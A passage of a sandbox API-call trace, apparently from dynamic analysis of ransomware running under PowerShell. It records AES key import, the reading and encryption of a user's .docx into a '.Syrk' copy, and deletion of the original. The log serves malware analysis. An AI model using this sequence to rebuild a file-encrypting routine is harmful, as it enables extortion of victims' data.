Memory=0x5c9ab0c) returned 0x0 [0233.080] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0233.080] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0233.080] SystemFunction041 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.080] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0233.080] SystemFunction040 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.080] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0233.080] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0233.080] SystemFunction041 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.080] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0233.080] SystemFunction040 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.080] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0233.080] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0233.081] SystemFunction041 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.081] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0233.081] SystemFunction040 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.081] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0233.081] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0233.081] SystemFunction041 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.081] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0233.081] SystemFunction040 (in: Memory=0x5c9ab0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab0c) returned 0x0 [0233.081] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0233.081] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0233.081] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0233.082] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0233.082] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0233.082] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0233.082] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0233.082] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0233.082] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0233.082] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0233.082] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0233.082] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0233.083] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0233.083] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0233.083] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0233.083] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0233.083] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0233.083] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0233.083] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0233.083] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0233.083] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0233.083] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0233.083] EtwEventActivityIdControl () returned 0x0 [0233.083] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0233.083] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0233.084] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0233.084] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0233.085] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cff0) returned 1 [0233.087] CryptImportKey (in: hProv=0x5c4cff0, pbData=0x24baf70*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c998a0) returned 1 [0233.087] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0233.088] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.088] EtwEventActivityIdControl () returned 0x0 [0233.088] EtwEventActivityIdControl () returned 0x0 [0233.088] EtwEventActivityIdControl () returned 0x0 [0233.093] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\yl14c.docx")) returned 0x20 [0233.094] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\yl14c.docx")) returned 0x20 [0233.094] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0233.094] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", lpFilePart=0x0) returned 0x27 [0233.096] EtwEventActivityIdControl () returned 0x0 [0233.097] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.097] EtwEventActivityIdControl () returned 0x0 [0233.097] EtwEventActivityIdControl () returned 0x0 [0233.097] EtwEventActivityIdControl () returned 0x0 [0233.098] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0233.098] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", lpFilePart=0x0) returned 0x27 [0233.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0233.099] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\yl14c.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0233.099] GetFileType (hFile=0x454) returned 0x1 [0233.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0233.099] GetFileType (hFile=0x454) returned 0x1 [0233.099] EtwEventActivityIdControl () returned 0x0 [0233.099] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.100] EtwEventActivityIdControl () returned 0x0 [0233.100] EtwEventActivityIdControl () returned 0x0 [0233.100] EtwEventActivityIdControl () returned 0x0 [0233.101] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0233.101] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx.Syrk", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx.Syrk", lpFilePart=0x0) returned 0x2c [0233.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0233.101] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\yl14c.docx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0233.102] GetFileType (hFile=0x458) returned 0x1 [0233.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0233.102] GetFileType (hFile=0x458) returned 0x1 [0233.102] EtwEventActivityIdControl () returned 0x0 [0233.102] CryptGenRandom (in: hProv=0x5c4cff0, dwLen=0x10, pbBuffer=0x24cac28 | out: pbBuffer=0x24cac28) returned 1 [0233.103] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0233.104] CryptDuplicateKey (in: hKey=0x5c998a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c999e0) returned 1 [0233.104] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0233.104] CryptSetKeyParam (hKey=0x5c999e0, dwParam=0x4, pbData=0x24cbf60*=0x1, dwFlags=0x0) returned 1 [0233.104] CryptSetKeyParam (hKey=0x5c999e0, dwParam=0x1, pbData=0x24cbf2c, dwFlags=0x0) returned 1 [0233.104] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.104] EtwEventActivityIdControl () returned 0x0 [0233.104] EtwEventActivityIdControl () returned 0x0 [0233.104] EtwEventActivityIdControl () returned 0x0 [0233.105] EtwEventActivityIdControl () returned 0x0 [0233.105] ReadFile (in: hFile=0x454, lpBuffer=0x24ceb9c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24ceb9c*, lpNumberOfBytesRead=0x5a2e7d8*=0x3ac2, lpOverlapped=0x0) returned 1 [0233.107] CryptEncrypt (in: hKey=0x5c999e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24e2bb4*, pdwDataLen=0x5a2e7cc*=0x3ac0, dwBufLen=0x3ac0 | out: pbData=0x24e2bb4*, pdwDataLen=0x5a2e7cc*=0x3ac0) returned 1 [0233.107] WriteFile (in: hFile=0x458, lpBuffer=0x24cad04*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24cad04*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0233.108] WriteFile (in: hFile=0x458, lpBuffer=0x24e3ba0*, nNumberOfBytesToWrite=0x2ad4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24e3ba0*, lpNumberOfBytesWritten=0x5a2e7b0*=0x2ad4, lpOverlapped=0x0) returned 1 [0233.108] ReadFile (in: hFile=0x454, lpBuffer=0x24ceb9c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24ceb9c*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0233.109] CryptEncrypt (in: hKey=0x5c999e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24e6680*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24e6680*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0233.109] CryptEncrypt (in: hKey=0x5c999e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24e669c*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24e669c*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0233.109] WriteFile (in: hFile=0x458, lpBuffer=0x24cad04*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24cad04*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0233.109] CloseHandle (hObject=0x458) returned 1 [0233.111] CloseHandle (hObject=0x454) returned 1 [0233.111] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.111] EtwEventActivityIdControl () returned 0x0 [0233.111] EtwEventActivityIdControl () returned 0x0 [0233.111] EtwEventActivityIdControl () returned 0x0 [0233.116] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\yl14c.docx")) returned 0x20 [0233.118] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0233.118] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", lpFilePart=0x0) returned 0x27 [0233.118] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0233.118] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0233.118] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0233.118] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0233.119] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0233.119] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0233.119] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0233.119] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0233.119] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0233.119] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0233.119] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0233.119] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0233.119] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0233.119] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0233.119] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0233.119] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0233.120] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\yl14c.docx")) returned 0x20 [0233.120] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0233.120] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", lpFilePart=0x0) returned 0x27 [0233.122] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0233.122] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", lpFilePart=0x0) returned 0x27 [0233.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0233.122] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0233.122] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", lpFilePart=0x0) returned 0x27 [0233.122] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\yl14c.docx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0233.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0233.123] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0233.123] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0233.123] CoTaskMemFree (pv=0x5c9b950) [0233.124] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\yl14c.docx")) returned 0x20 [0233.124] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0233.125] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", nBufferLength=0x28, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx", lpFilePart=0x0) returned 0x27 [0233.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0233.125] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\yl14c.docx"), fInfoLevelId=0x0, lpFileInformation=0x24f1190 | out: lpFileInformation=0x24f1190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a79900, ftCreationTime.dwHighDateTime=0x1d95aec, ftLastAccessTime.dwLowDateTime=0xeba4e320, ftLastAccessTime.dwHighDateTime=0x1d9776e, ftLastWriteTime.dwLowDateTime=0xeba4e320, ftLastWriteTime.dwHighDateTime=0x1d9776e, nFileSizeHigh=0x0, nFileSizeLow=0x3ac2)) returned 1 [0233.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0233.125] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\yl14c.docx")) returned 1 [0233.178] EtwEventActivityIdControl () returned 0x0 [0233.178] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.179] EtwEventActivityIdControl () returned 0x0 [0233.179] EtwEventActivityIdControl () returned 0x0 [0233.179] EtwEventActivityIdControl () returned 0x0 [0233.184] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\yl14c.docx.syrk")) returned 0x20 [0233.185] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\yl14c.docx.syrk")) returned 0x20 [0233.185] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0233.185] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx.Syrk", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx.Syrk", lpFilePart=0x0) returned 0x2c [0233.185] EtwEventActivityIdControl () returned 0x0 [0233.186] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.186] EtwEventActivityIdControl () returned 0x0 [0233.186] EtwEventActivityIdControl () returned 0x0 [0233.186] EtwEventActivityIdControl () returned 0x0 [0233.190] EtwEventActivityIdControl () returned 0x0 [0233.190] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.190] EtwEventActivityIdControl () returned 0x0 [0233.190] EtwEventActivityIdControl () returned 0x0 [0233.190] EtwEventActivityIdControl () returned 0x0 [0233.193] EtwEventActivityIdControl () returned 0x0 [0233.193] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.194] EtwEventActivityIdControl () returned 0x0 [0233.194] EtwEventActivityIdControl () returned 0x0 [0233.194] EtwEventActivityIdControl () returned 0x0 [0233.197] EtwEventActivityIdControl () returned 0x0 [0233.197] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.197] EtwEventActivityIdControl () returned 0x0 [0233.197] EtwEventActivityIdControl () returned 0x0 [0233.197] EtwEventActivityIdControl () returned 0x0 [0233.200] EtwEventActivityIdControl () returned 0x0 [0233.200] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.201] EtwEventActivityIdControl () returned 0x0 [0233.201] EtwEventActivityIdControl () returned 0x0 [0233.201] EtwEventActivityIdControl () returned 0x0 [0233.204] EtwEventActivityIdControl () returned 0x0 [0233.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0233.209] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\yl14C.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\yl14c.docx.syrk"), fInfoLevelId=0x0, 